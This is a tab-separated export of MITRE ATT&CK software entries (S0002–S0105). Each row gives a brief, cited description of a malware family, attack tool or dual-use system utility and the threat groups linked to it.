S0002	4	Software	Mimikatz	[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)					Windows		https://attack.mitre.org/software/S0002
S0003	4	Software	RIPTIDE	[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)					Windows		https://attack.mitre.org/software/S0003
S0004	4	Software	TinyZBot	[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)					Windows		https://attack.mitre.org/software/S0004
S0005	4	Software	Windows Credential Editor	[Windows Credential Editor](https://attack.mitre.org/software/S0005) is a password dumping tool. (Citation: Amplia WCE)					Windows		https://attack.mitre.org/software/S0005
S0006	4	Software	pwdump	[pwdump](https://attack.mitre.org/software/S0006) is a credential dumper. (Citation: Wikipedia pwdump)					Windows		https://attack.mitre.org/software/S0006
S0007	4	Software	Skeleton Key	[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).					Windows		https://attack.mitre.org/software/S0007
S0008	4	Software	gsecdump	[gsecdump](https://attack.mitre.org/software/S0008) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)					Windows		https://attack.mitre.org/software/S0008
S0009	4	Software	Hikit	[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom)					Windows		https://attack.mitre.org/software/S0009
S0010	4	Software	Lurid	[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)					Windows		https://attack.mitre.org/software/S0010

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0011	4	Software	Taidoor	[Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)					Windows		https://attack.mitre.org/software/S0011
S0012	4	Software	PoisonIvy	[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)					Windows		https://attack.mitre.org/software/S0012
S0013	4	Software	PlugX	[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)					Windows		https://attack.mitre.org/software/S0013
S0014	4	Software	BS2005	[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)					Windows		https://attack.mitre.org/software/S0014
S0015	4	Software	Ixeshe	[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)					Windows		https://attack.mitre.org/software/S0015
S0016	4	Software	P2P ZeuS	[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)					Windows		https://attack.mitre.org/software/S0016
S0017	4	Software	BISCUIT	[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)					Windows		https://attack.mitre.org/software/S0017
S0018	4	Software	Sykipot	[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)					Windows		https://attack.mitre.org/software/S0018
S0019	4	Software	Regin	[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)					Windows		https://attack.mitre.org/software/S0019
S0020	4	Software	China Chopper	[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1100) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)					Windows		https://attack.mitre.org/software/S0020
S0021	4	Software	Derusbi	[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)					Windows, Linux		https://attack.mitre.org/software/S0021
S0022	4	Software	Uroburos	[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)					Windows		https://attack.mitre.org/software/S0022
S0023	4	Software	CHOPSTICK	[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).					Windows, Linux		https://attack.mitre.org/software/S0023
S0024	4	Software	Dyre	[Dyre](https://attack.mitre.org/software/S0024) is a Trojan that has been used for financial gain. (Citation: Symantec Dyre June 2015)					Windows		https://attack.mitre.org/software/S0024
S0025	4	Software	CALENDAR	[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)					Windows		https://attack.mitre.org/software/S0025
S0026	4	Software	GLOOXMAIL	[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)					Windows		https://attack.mitre.org/software/S0026
S0027	4	Software	Zeroaccess	[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)					Windows		https://attack.mitre.org/software/S0027
S0028	4	Software	SHIPSHAPE	[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)					Windows		https://attack.mitre.org/software/S0028
S0029	4	Software	PsExec	[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)					Windows		https://attack.mitre.org/software/S0029
S0030	4	Software	Carbanak	[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)					Windows		https://attack.mitre.org/software/S0030
S0031	4	Software	BACKSPACE	[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)					Windows		https://attack.mitre.org/software/S0031
S0032	4	Software	gh0st RAT	[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. (Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)					Windows, macOS		https://attack.mitre.org/software/S0032
S0033	4	Software	NetTraveler	[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)					Windows		https://attack.mitre.org/software/S0033
S0034	4	Software	NETEAGLE	[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as "Scout" and "Norton." (Citation: FireEye APT30)					Windows		https://attack.mitre.org/software/S0034
S0035	4	Software	SPACESHIP	[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)					Windows		https://attack.mitre.org/software/S0035
S0036	4	Software	FLASHFLOOD	[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)					Windows		https://attack.mitre.org/software/S0036
S0037	4	Software	HAMMERTOSS	[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)					Windows		https://attack.mitre.org/software/S0037
S0038	4	Software	Duqu	[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)					Windows		https://attack.mitre.org/software/S0038

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0039	4	Software	Net	The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility) [Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.					Windows		https://attack.mitre.org/software/S0039
S0040	4	Software	HTRAN	[HTRAN](https://attack.mitre.org/software/S0040) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)					Linux, Windows		https://attack.mitre.org/software/S0040
S0041	4	Software	Wiper	[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)					Windows		https://attack.mitre.org/software/S0041
S0042	4	Software	LOWBALL	[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)					Windows		https://attack.mitre.org/software/S0042
S0043	4	Software	BUBBLEWRAP	[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)					Windows		https://attack.mitre.org/software/S0043
S0044	4	Software	JHUHUGIT	[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)					Windows		https://attack.mitre.org/software/S0044
S0045	4	Software	ADVSTORESHELL	[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)					Windows		https://attack.mitre.org/software/S0045
S0046	4	Software	CozyCar	[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)					Windows		https://attack.mitre.org/software/S0046
S0047	4	Software	Hacking Team UEFI Rootkit	[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)							https://attack.mitre.org/software/S0047
S0048	4	Software	PinchDuke	[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)					Windows		https://attack.mitre.org/software/S0048
S0049	4	Software	GeminiDuke	[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)					Windows		https://attack.mitre.org/software/S0049
S0050	4	Software	CosmicDuke	[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)					Windows		https://attack.mitre.org/software/S0050
S0051	4	Software	MiniDuke	[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)					Windows		https://attack.mitre.org/software/S0051
S0052	4	Software	OnionDuke	[OnionDuke](https://attack.mitre.org/software/S0052) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2013 to 2015. (Citation: F-Secure The Dukes)					Windows		https://attack.mitre.org/software/S0052
S0053	4	Software	SeaDuke	[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)					Windows		https://attack.mitre.org/software/S0053
S0054	4	Software	CloudDuke	[CloudDuke](https://attack.mitre.org/software/S0054) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)					Windows		https://attack.mitre.org/software/S0054
S0055	4	Software	RARSTONE	[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)					Windows		https://attack.mitre.org/software/S0055
S0056	4	Software	Net Crawler	[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). (Citation: Cylance Cleaver)					Windows		https://attack.mitre.org/software/S0056
S0057	4	Software	Tasklist	The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)					Windows		https://attack.mitre.org/software/S0057
S0058	4	Software	SslMM	[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)					Windows		https://attack.mitre.org/software/S0058
S0059	4	Software	WinMM	[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)					Windows		https://attack.mitre.org/software/S0059
S0060	4	Software	Sys10	[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)					Windows		https://attack.mitre.org/software/S0060
S0061	4	Software	HDoor	[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)					Windows		https://attack.mitre.org/software/S0061
S0062	4	Software	DustySky	[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)					Windows		https://attack.mitre.org/software/S0062
S0063	4	Software	SHOTPUT	[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)					Windows		https://attack.mitre.org/software/S0063
S0064	4	Software	ELMER	[ELMER](https://attack.mitre.org/software/S0064) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://attack.mitre.org/groups/G0023). (Citation: FireEye EPS Awakens Part 2)					Windows		https://attack.mitre.org/software/S0064
S0065	4	Software	4H RAT	[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)					Windows		https://attack.mitre.org/software/S0065
S0066	4	Software	3PARA RAT	[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)					Windows		https://attack.mitre.org/software/S0066

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0067	4	Software	pngdowner	[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and-execute" utility. (Citation: CrowdStrike Putter Panda)					Windows		https://attack.mitre.org/software/S0067
S0068	4	Software	httpclient	[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)					Windows		https://attack.mitre.org/software/S0068
S0069	4	Software	BLACKCOFFEE	[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)					Windows		https://attack.mitre.org/software/S0069
S0070	4	Software	HTTPBrowser	[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)					Windows		https://attack.mitre.org/software/S0070
S0071	4	Software	hcdLoader	[hcdLoader](https://attack.mitre.org/software/S0071) is a remote access tool (RAT) that has been used by [APT18](https://attack.mitre.org/groups/G0026). (Citation: Dell Lateral Movement)					Windows		https://attack.mitre.org/software/S0071
S0072	4	Software	OwaAuth	[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)					Windows		https://attack.mitre.org/software/S0072
S0073	4	Software	ASPXSpy	[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)					Windows		https://attack.mitre.org/software/S0073
S0074	4	Software	Sakula	[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)					Windows		https://attack.mitre.org/software/S0074
S0075	4	Software	Reg	[Reg](https://attack.mitre.org/software/S0075) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg) Utilities such as [Reg](https://attack.mitre.org/software/S0075) are known to be used by persistent threats. (Citation: Windows Commands JPCERT)					Windows		https://attack.mitre.org/software/S0075
S0076	4	Software	FakeM	[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)					Windows		https://attack.mitre.org/software/S0076
S0077	4	Software	CallMe	[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)					macOS		https://attack.mitre.org/software/S0077
S0078	4	Software	Psylo	[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)					Windows		https://attack.mitre.org/software/S0078
S0079	4	Software	MobileOrder	[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)							https://attack.mitre.org/software/S0079
S0080	4	Software	Mivast	[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)					Windows		https://attack.mitre.org/software/S0080
S0081	4	Software	Elise	[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)					Windows		https://attack.mitre.org/software/S0081
S0082	4	Software	Emissary	[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)					Windows		https://attack.mitre.org/software/S0082
S0083	4	Software	Misdat	[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2010 to 2011. (Citation: Cylance Dust Storm)					Windows		https://attack.mitre.org/software/S0083
S0084	4	Software	Mis-Type	[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) in 2012. (Citation: Cylance Dust Storm)					Windows		https://attack.mitre.org/software/S0084
S0085	4	Software	S-Type	[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2013 to 2014. (Citation: Cylance Dust Storm)					Windows		https://attack.mitre.org/software/S0085
S0086	4	Software	ZLib	[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)					Windows		https://attack.mitre.org/software/S0086
S0087	4	Software	Hi-Zor	[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)					Windows		https://attack.mitre.org/software/S0087
S0088	4	Software	Kasidet	[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)					Windows		https://attack.mitre.org/software/S0088
S0089	4	Software	BlackEnergy	[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)					Windows		https://attack.mitre.org/software/S0089
S0090	4	Software	Rover	[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)					Windows		https://attack.mitre.org/software/S0090
S0091	4	Software	Epic	[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)					Windows		https://attack.mitre.org/software/S0091
S0092	4	Software	Agent.btz	[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)					Windows		https://attack.mitre.org/software/S0092
S0093	4	Software	Backdoor.Oldrea	[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)					Windows		https://attack.mitre.org/software/S0093
S0094	4	Software	Trojan.Karagany	[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)					Windows		https://attack.mitre.org/software/S0094
S0095	4	Software	FTP	[FTP](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)					Linux, Windows		https://attack.mitre.org/software/S0095
S0096	4	Software	Systeminfo	[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)					Windows		https://attack.mitre.org/software/S0096
S0097	4	Software	Ping	[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)					Linux, Windows		https://attack.mitre.org/software/S0097
S0098	4	Software	T9000	[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)					Windows		https://attack.mitre.org/software/S0098
S0099	4	Software	Arp	[Arp](https://attack.mitre.org/software/S0099) displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)					Linux, Windows		https://attack.mitre.org/software/S0099

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0100	4	Software	ipconfig	[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)					Windows		https://attack.mitre.org/software/S0100
S0101	4	Software	ifconfig	[ifconfig](https://attack.mitre.org/software/S0101) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)					Linux		https://attack.mitre.org/software/S0101
S0102	4	Software	nbtstat	[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)					Windows		https://attack.mitre.org/software/S0102
S0103	4	Software	route	[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)					Linux, Windows		https://attack.mitre.org/software/S0103
S0104	4	Software	netstat	[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)					Windows, Linux		https://attack.mitre.org/software/S0104
S0105	4	Software	dsquery	[dsquery](https://attack.mitre.org/software/S0105) is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.					Windows		https://attack.mitre.org/software/S0105
